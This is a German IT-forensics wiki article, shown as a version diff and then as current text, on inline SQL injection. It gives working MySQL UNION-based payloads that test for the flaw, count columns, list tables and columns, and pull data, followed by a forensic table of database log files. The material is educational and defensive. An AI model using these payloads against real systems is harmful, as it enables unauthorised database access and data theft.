Inline (Queries) SQL Injection: Unterschied zwischen den Versionen

Aus IT-Forensik Wiki
Keine Bearbeitungszusammenfassung
Keine Bearbeitungszusammenfassung
 
(8 dazwischenliegende Versionen von 2 Benutzern werden nicht angezeigt)
Zeile 4: Zeile 4:
Auch die Ausgabe der Ergebnisse erfolgt über den selben Kanal, so werden anstatt des gesuchten Produkts z.B. verfügbare Tabellen der Datenbank ausgegeben.
Auch die Ausgabe der Ergebnisse erfolgt über den selben Kanal, so werden anstatt des gesuchten Produkts z.B. verfügbare Tabellen der Datenbank ausgegeben.


Die Injection funktioniert meist so, dass der eingebrachte Code & die eigentliche Query ausgeführt wird. Die Injection wird also zusätzlich zu der eigentlichen Suchabfrage ausgeführt.
Die Injection funktioniert meist so, dass der eingebrachte Code und die eigentliche Query ausgeführt wird. Die Injection wird also zusätzlich zu der eigentlichen Suchabfrage ausgeführt.
Je nach Gestaltung der eingebrachten Query, kann der rest der ursprünglichen Query auch abgeschnitten werden, sodass diese nicht mehr ausgeführt wird (siehe Beispiele).
Je nach Gestaltung der eingebrachten Query, kann der Rest der ursprünglichen Query auch abgeschnitten werden, sodass diese nicht mehr ausgeführt wird (siehe Beispiele).


Die Inline-Injections sind grob einzuteilen in:
Die Inline-Injections sind grob einzuteilen in <ref>[https://www.acunetix.com/websitesecurity/sql-injection2/ ''Types of SQL Injection (SQLi)''] Types of SQL Injection (SQLi). Abgerufen am 26. Februar 2022.</ref>:
# [[Error Based SQL Injection|Error Based SQL Injection]]
# [[Error Based SQL Injection|Error Based SQL Injection]]
# Union-based SQLi
# Union-based SQLi




Außerdem ist erwähnenswert, dass sowohl  
Außerdem ist erwähnenswert, dass sowohl <ref>Clarke, Justin(2016): SQL Hacking, FRANZIS Verlag, Haar, Kapitel 2.3.2</ref>
# Inline-Stringinjections
# Inline-Stringinjections
# Inline-Injections von numerischen Werten
# Inline-Injections von numerischen Werten
Zeile 19: Zeile 19:
== Beispiel ==
== Beispiel ==


Simple Inline SQLi (MySQL):
Alle Beispiele sind in MySQL 8 formuliert, andere Versionen oder unterschiedliche DBMS können also ein Fehlerhaftes Resultat erzeugen.


Abschluss (abtrennen) der ursprünglichen SQL Anweisung (Seite 82):
1.) Simple Inline SQLi:
<br>'<br>
Wird eine SQL-Fehlermeldung ausgegeben, ist das ein Hinweis darauf, dass keine sanitization stattfindet und das Feld vulnerable ist.
<br>


Beispiel Ref: <ref>[https://evil.com ''Evil Link Description''] Text behind desc. Abgerufen am xx. Februar 2022.</ref>
2.) Abschluss (abtrennen) der ursprünglichen SQL Anweisung:
Hierfür gibt es unterschiedliche Methoden, alle arbeiten jedoch mit Kommentarzeichen, sodass auch mit Einschränkungen (wie z.B. einer vorliegenden sanitization) umgegangen werden kann.
{| class="wikitable"
|-
! Kommentarzeichen !! Funktion !! Anmerkung
|-
| -- || Einzeiliger Kommentar || Es muss ein Leerzeichen oder Steuerzeichen folgen
|-
| # || Einzeiliger Kommentar ||
|-
| /**/ || Mehrzeiliger Kommentar || Anwendungsbeispiel sind mehrere Eingabefelder (Benutzername, Passwort) oder aber das umgehen von sanitization bei welcher nach Schlüsselwörtern gesucht wird.
|}
 
3.) Identifikation der Spaltenanzahl:
<br>' ORDER BY #; --'<br>
Die # ist gegen eine Zahl zu ersetzen. Erscheint eine Fehlermeldung, ist die maximale Anzahl an Spalten für die angezeigte Tabelle überschritten wurde. Diese Zahl -1 entspricht dann also der tatsächlichen Spaltenzahl.
Dieser Punkt ist relevant, da die korrekte Anzahl der vorliegenden Spalten (siehe folgend) auch immer korrekt angegeben werden muss. So würde Punkt 4. nicht funktionieren, wenn die Tabelle über 7 Spalten verfügt.
 
4.) Extraktion von Informationen über die Datenbank wie Schemaname, MySQL-Version, User, etc.:
<br>' AND 0 UNION SELECT user(),database(),version(),schema(),UUID(),current_user(),system_user(),session_user() #<br>
 
5.) Zeigt alle verfügbaren Tabellen des Schemas an:
<br>' AND 0 UNION SELECT 1,TABLE_NAME,3,4,5,6,7,8 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() #<br>
 
6.) Zeigt Spalten der angegebenen Tabelle (Adresse) an:
<br>' AND 0 UNION SELECT 1,COLUMN_NAME,3,4,5,6,7,8 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME='Adresse' ##<br>
 
7.) Extraktion von Daten aus Table Adresse, Spalte Straße:
<br>' UNION SELECT NULL,concat(Straße),NULL,NULL,NULL,NULL,NULL,NULL from Adresse-- -<br>


== Forensische Analyse ==
== Forensische Analyse ==
Zeile 38: Zeile 69:
| MySQL || Binary Log || Alle Data modifications<br>DDL & DML || Windows: C:\ProgramData\MySQL\MySQL Server x.x\Data\*-bin<br>Linux: /var/lib/mysql/binlog.* || Aufruf mit: mysqlbinlog -v /path/to/log
| MySQL || Binary Log || Alle Data modifications<br>DDL & DML || Windows: C:\ProgramData\MySQL\MySQL Server x.x\Data\*-bin<br>Linux: /var/lib/mysql/binlog.* || Aufruf mit: mysqlbinlog -v /path/to/log
|-
|-
| Beispiel || Beispiel || Beispiel || Beispiel || Beispiel
| MongoDB || mongodb.log || Je nach Konfiguration Components wie ACCESS, NETWORK, QUERY || /var/log/mongodb/mongodb.log || Je nach Verbosity Settings bzw. Log Level (Default 0 = Informational only) recht wenig Inhalt
|-
| PostgreSQL || postgresql-*.log || Je nach Konfiguration über die postgresql.conf im Installdir || Windows / Linux: Installdir/data/postgresql-*.log || Je nach Konfiguration, default wird nichts geloggt, nur die Fehlerausgabe über stderr-Datenstrom
|-
| Oracle || Beispiel || Beispiel || Beispiel || Beispiel
|-
| Erweitere || mich || gerne || # || #
|-
|}
|}


Zu beachten ist außerdem die Existenz weiterer Quellen, insbesondere Logs einer WAF oder der Firewall für eine generelle Aussage über einen Zugriff <> IP.
Beispiel Log nach dem injecten eines neuen Table mit einer Spalte.
<gallery>
General Log.png|General_Log
Binlog.png|Binlog
</gallery>
 
Die zuvor aufgeführten Logfiles können Aufschluss darüber geben, was auf dem System geändert worden ist.
Zu beachten ist außerdem die Existenz weiterer Quellen, insbesondere die Server Logs (Zugriffe, Änderung von Dateien, IoC's, etc.), oder aber auch die Logs einer Firewall / WAF für eine generelle Aussage über einen Zugriff <> IP.


== Quellen ==
== Quellen ==

Aktuelle Version vom 26. Februar 2022, 16:21 Uhr

Inline (Queries) SQL Injection

Die Inline SQL Injection heißt deshalb so, weil diese direkt in ein dafür vorgesehenes Eingabefeld hinter welchem sich eine Query verbirgt eingebracht wird. Dies kann z.B. an einer Anmeldemaske oder aber einer Produktsuche der Fall sein. Auch die Ausgabe der Ergebnisse erfolgt über den selben Kanal, so werden anstatt des gesuchten Produkts z.B. verfügbare Tabellen der Datenbank ausgegeben.

Die Injection funktioniert meist so, dass der eingebrachte Code und die eigentliche Query ausgeführt wird. Die Injection wird also zusätzlich zu der eigentlichen Suchabfrage ausgeführt. Je nach Gestaltung der eingebrachten Query, kann der Rest der ursprünglichen Query auch abgeschnitten werden, sodass diese nicht mehr ausgeführt wird (siehe Beispiele).

Die Inline-Injections sind grob einzuteilen in [1]:

  1. Error Based SQL Injection
  2. Union-based SQLi


Außerdem ist erwähnenswert, dass sowohl [2]

  1. Inline-Stringinjections
  2. Inline-Injections von numerischen Werten

möglich sind.

Beispiel

Alle Beispiele sind in MySQL 8 formuliert, andere Versionen oder unterschiedliche DBMS können also ein Fehlerhaftes Resultat erzeugen.

1.) Simple Inline SQLi:
'
Wird eine SQL-Fehlermeldung ausgegeben, ist das ein Hinweis darauf, dass keine sanitization stattfindet und das Feld vulnerable ist.

2.) Abschluss (abtrennen) der ursprünglichen SQL Anweisung: Hierfür gibt es unterschiedliche Methoden, alle arbeiten jedoch mit Kommentarzeichen, sodass auch mit Einschränkungen (wie z.B. einer vorliegenden sanitization) umgegangen werden kann.

Kommentarzeichen Funktion Anmerkung
-- Einzeiliger Kommentar Es muss ein Leerzeichen oder Steuerzeichen folgen
# Einzeiliger Kommentar
/**/ Mehrzeiliger Kommentar Anwendungsbeispiel sind mehrere Eingabefelder (Benutzername, Passwort) oder aber das umgehen von sanitization bei welcher nach Schlüsselwörtern gesucht wird.

3.) Identifikation der Spaltenanzahl:
' ORDER BY #; --'
Die # ist gegen eine Zahl zu ersetzen. Erscheint eine Fehlermeldung, ist die maximale Anzahl an Spalten für die angezeigte Tabelle überschritten wurde. Diese Zahl -1 entspricht dann also der tatsächlichen Spaltenzahl. Dieser Punkt ist relevant, da die korrekte Anzahl der vorliegenden Spalten (siehe folgend) auch immer korrekt angegeben werden muss. So würde Punkt 4. nicht funktionieren, wenn die Tabelle über 7 Spalten verfügt.

4.) Extraktion von Informationen über die Datenbank wie Schemaname, MySQL-Version, User, etc.:
' AND 0 UNION SELECT user(),database(),version(),schema(),UUID(),current_user(),system_user(),session_user() #

5.) Zeigt alle verfügbaren Tabellen des Schemas an:
' AND 0 UNION SELECT 1,TABLE_NAME,3,4,5,6,7,8 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() #

6.) Zeigt Spalten der angegebenen Tabelle (Adresse) an:
' AND 0 UNION SELECT 1,COLUMN_NAME,3,4,5,6,7,8 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME='Adresse' ##

7.) Extraktion von Daten aus Table Adresse, Spalte Straße:
' UNION SELECT NULL,concat(Straße),NULL,NULL,NULL,NULL,NULL,NULL from Adresse-- -

Forensische Analyse

Je nach DBMS liegen unterschiedliche Logfiles vor. Außerdem müssen diese unter anderem auch erst aktiviert werden, da dies nicht per Default passiert. Die nachfolgende Tabelle soll etwaige Arten von Logdateien aufzeigen:

DBMS Name Ziel Path bzw. Datei Besonderheiten
MySQL General Query Log Verbindungsinformationen und alle abgesetzten Statements Windows: C:\ProgramData\MySQL\MySQL Server x.x\Data\*.log
Linux: /var/lib/mysql/general_log.CSV
Nicht per Default aktiv
MySQL Binary Log Alle Data modifications
DDL & DML
Windows: C:\ProgramData\MySQL\MySQL Server x.x\Data\*-bin
Linux: /var/lib/mysql/binlog.*
Aufruf mit: mysqlbinlog -v /path/to/log
MongoDB mongodb.log Je nach Konfiguration Components wie ACCESS, NETWORK, QUERY /var/log/mongodb/mongodb.log Je nach Verbosity Settings bzw. Log Level (Default 0 = Informational only) recht wenig Inhalt
PostgreSQL postgresql-*.log Je nach Konfiguration über die postgresql.conf im Installdir Windows / Linux: Installdir/data/postgresql-*.log Je nach Konfiguration, default wird nichts geloggt, nur die Fehlerausgabe über stderr-Datenstrom
Oracle Beispiel Beispiel Beispiel Beispiel
Erweitere mich gerne # #

Beispiel Log nach dem injecten eines neuen Table mit einer Spalte.

Die zuvor aufgeführten Logfiles können Aufschluss darüber geben, was auf dem System geändert worden ist. Zu beachten ist außerdem die Existenz weiterer Quellen, insbesondere die Server Logs (Zugriffe, Änderung von Dateien, IoC's, etc.), oder aber auch die Logs einer Firewall / WAF für eine generelle Aussage über einen Zugriff <> IP.

Quellen

  1. Types of SQL Injection (SQLi) Types of SQL Injection (SQLi). Abgerufen am 26. Februar 2022.
  2. Clarke, Justin(2016): SQL Hacking, FRANZIS Verlag, Haar, Kapitel 2.3.2